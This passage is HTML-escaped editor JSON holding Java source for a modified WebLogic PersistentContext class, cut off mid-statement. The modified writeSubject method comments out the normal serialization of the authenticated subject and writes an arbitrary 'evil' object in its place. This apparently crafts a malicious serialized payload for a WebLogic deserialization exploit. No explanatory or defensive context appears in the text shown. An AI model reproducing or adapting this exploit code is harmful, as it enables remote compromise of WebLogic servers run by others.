java.util.concurrent.locks.ReentrantReadWriteLock;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SlMv-1682254539912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xnW0-1682254539911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.kernel.KernelStatus;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1sk8-1682254539914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uC1z-1682254539913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.acl.internal.AuthenticatedSubject;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gT3m-1682254539916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fl0r-1682254539915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.service.PrivilegedActions;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zddy-1682254539918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ta5d-1682254539917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.service.SecurityServiceManager;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GA0h-1682254539920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tpIU-1682254539919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.subject.SubjectManager;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dMuj-1682254539922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o5e8-1682254539921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.wsee.WseeCoreLogger;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hfjX-1682254539924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cSxa-1682254539923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.wsee.persistence.AbstractStorable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zUOk-1682254539926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r9Vx-1682254539925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//import weblogic.wsee.server.EncryptionUtil;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gzXu-1682254539928&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tmzM-1682254539927&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.wsee.jaxws.persistence.EncryptionUtil;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O2Q8-1682254539930&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mBWC-1682254539929&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BuOL-1682254539932&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LRop-1682254539931&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aybg-1682254539934&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;biJE-1682254539933&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gHxg-1682254539937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5uEb-1682254539935&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class PersistentContext extends AbstractStorable {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oYeG-1682254539939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KeEX-1682254539938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final long serialVersionUID = 1L;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XceM-1682254539941&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecqC-1682254539940&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final AuthenticatedSubject KERNEL_ID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7fjD-1682254539943&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NEJI-1682254539942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private transient ReentrantReadWriteLock _lock;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fqzh-1682254539945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;brvK-1682254539944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Map&lt;String, Serializable&gt; _propertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xc2u-1682254539947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dEQY-1682254539946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Set&lt;String&gt; _propBagClassNames;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LEKE-1682254539949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YPqO-1682254539948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Map&lt;String, Serializable&gt; _contextPropertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sMz8-1682254539951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OXEg-1682254539950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Map&lt;String, Serializable&gt; _invocationPropertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qhdp-1682254539953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dNVj-1682254539952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private AuthenticatedSubject _subject;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tq0u-1682254539955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4xre-1682254539954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private PersistentContext.State _state;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7uza-1682254539957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4TvY-1682254539956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Object evil;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qBwe-1682254539959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p2xU-1682254539958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yotk-1682254539961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bqky-1682254539960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static PersistentContextStore getStoreMap(String var0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SOs9-1682254539963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jEj3-1682254539962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JBwD-1682254539965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tUOA-1682254539964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return PersistentContextStore.getStore(var0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eiKq-1682254539967&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u8VC-1682254539966&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7nUF-1682254539969&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HFFG-1682254539968&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new RuntimeException(var2.toString(), var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Udqo-1682254539971&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OcUM-1682254539970&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GLu2-1682254539973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;alGs-1682254539972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zbKC-1682254539975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pHcR-1682254539974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ojmD-1682254539977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUf9-1682254539976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static AuthenticatedSubject getCurrentSubject() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hNPN-1682254539979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rpRU-1682254539978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        AuthenticatedSubject var0 = SecurityServiceManager.getCurrentSubject(KERNEL_ID);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GNIV-1682254539981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vpw8-1682254539980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FB3C-1682254539983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q2RR-1682254539982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eWvM-1682254539985&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RNtJ-1682254539984&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vYOr-1682254539987&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nWzd-1682254539986&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void writeObject(ObjectOutputStream var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bmXd-1682254539989&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VFMs-1682254539988&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PYM6-1682254539991&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WFLY-1682254539990&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EJh3-1682254539993&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wrt5-1682254539992&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._propertyMap);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;54Iv-1682254539995&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5wbl-1682254539994&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._propBagClassNames);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;akDb-1682254539997&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NIHG-1682254539996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._contextPropertyMap);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yUl1-1682254539999&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;stBX-1682254539998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._invocationPropertyMap);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OYvI-1682254540001&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mvcL-1682254540000&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._state);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Evi6-1682254540003&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lUEt-1682254540002&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeSubject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iudb-1682254540005&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;akgo-1682254540004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RJRC-1682254540007&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gE0U-1682254540006&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tnL8-1682254540009&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EVtJ-1682254540008&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;drA5-1682254540011&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wnpW-1682254540010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AdyG-1682254540013&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V3FY-1682254540012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QBBI-1682254540015&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PziA-1682254540014&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KuXM-1682254540017&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;61o2-1682254540016&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void writeSubject(ObjectOutputStream var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tAhI-1682254540019&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ijfJ-1682254540018&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;66UG-1682254540021&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TL6L-1682254540020&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream var3 = new ObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D0AQ-1682254540023&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mC7M-1682254540022&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Xrg-1682254540025&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bxB9-1682254540024&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //if (SubjectManager.getSubjectManager().isKernelIdentity(this._subject)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tob3-1682254540027&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;viUV-1682254540026&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    AuthenticatedSubject var4 = (AuthenticatedSubject)SubjectManager.getSubjectManager().getAnonymousSubject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ba5h-1682254540030&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;54jN-1682254540029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    var3.writeObject(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZV9z-1682254540032&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lVCE-1682254540031&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //} else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NmHx-1682254540034&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ASDM-1682254540033&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    var3.writeObject(this._subject);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lekr-1682254540036&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VWO5-1682254540035&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;msMa-1682254540038&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VKAd-1682254540037&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PbAn-1682254540040&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mswP-1682254540039&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var3.writeObject(this.evil);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0RGc-1682254540042&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FzNn-1682254540041&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oQfZ-1682254540044&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5tEJ-1682254540043&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9XiN-1682254540046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4883-1682254540045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C1Q0-1682254540048&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Fch-1682254540047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;owRH-1682254540050&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OIHQ-1682254540049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7tBP-1682254540052&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;njAg-1682254540051&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte[] var5 = 